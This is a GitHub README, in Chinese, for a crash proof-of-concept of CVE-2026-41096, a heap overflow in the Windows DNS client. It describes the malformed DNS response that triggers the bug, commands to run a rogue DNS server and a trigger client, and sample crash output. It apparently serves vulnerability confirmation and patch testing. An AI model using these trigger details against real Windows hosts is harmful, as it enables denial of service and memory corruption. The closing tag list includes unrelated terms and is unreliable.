m0n1x90/CVE-2026-41096
GitHub: m0n1x90/CVE-2026-41096
一个堆溢出漏洞 CVE-2026-41096 的概念验证工具,包含恶意 DNS 服务器和触发客户端,用于确认 Windows DNS 客户端在处理特殊响应时是否发生崩溃。
Stars: 2 | Forks: 2
# CVE-2026-41096 - 崩溃概念验证
`DnsRawTruncateMessageForUdp()`(dnsapi.dll)中存在堆溢出。当截断逻辑错误计算目标指针时,精心构造的包含 `QDCOUNT=0` 和大 OPT 记录的 DNS 响应会导致 604 字节的堆溢出。
**MSRC 公告:** https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096
## 组件
| 文件 | 描述 |
|---|---|
| `rogue_dns_server.py` | 恶意 DNS 服务器(Python 3)。对每个查询回复 QDCOUNT=0 + OPT 响应(623 字节)。 |
| `trigger_client.c` | 触发客户端(C/Win32)。调用指向恶意服务器的 `DnsQueryRaw`。通过 `SetUnhandledExceptionFilter` 捕获崩溃。 |
## 要求
**攻击者(恶意服务器):**
- Python 3
- root/管理员权限(端口 53)
**受害者(触发客户端):**
- 运行 DnsCache 服务的 Windows 操作系统(需要 `DnsQueryRaw`)
- 存在漏洞的 `dnsapi.dll` 版本
- Visual Studio / Windows SDK(用于编译)
## 使用方法
**1. 启动恶意服务器:**
```
sudo python3 rogue_dns_server.py
```
**2. 编译并运行触发客户端:**
```
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe
```
**3. (可选)启用 Page Heap 以获得确定性崩溃:**
```
gflags /p /enable trigger_client.exe /full
trigger_client.exe
```
## 退出代码
| 代码 | 含义 |
|---|---|
| 0 | 系统已修补(`DNS_ERROR_BAD_PACKET` 正常返回) |
| 1 | 错误(未找到 DnsQueryRaw、网络问题等) |
| 2 | 检测到崩溃(确认堆溢出) |
## 示例输出
**存在漏洞(Page Heap):**
```
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
```
**存在漏洞(无 Page Heap):**
```
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
```
**已修补:**
```
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.
```
标签:CVE, dnsapi.dll, DnsQueryRaw, DNS协议, Linux, ODS, PoC, Python, UDP, Win32 API, Windows, Windows DNS客户端, 内存破坏, 堆溢出, 安全漏洞, 客户端加密, 恶意DNS服务器, 拒绝服务, 数字签名, 无后门, 暴力破解, 系统漏洞, 缓冲区溢出, 远程攻击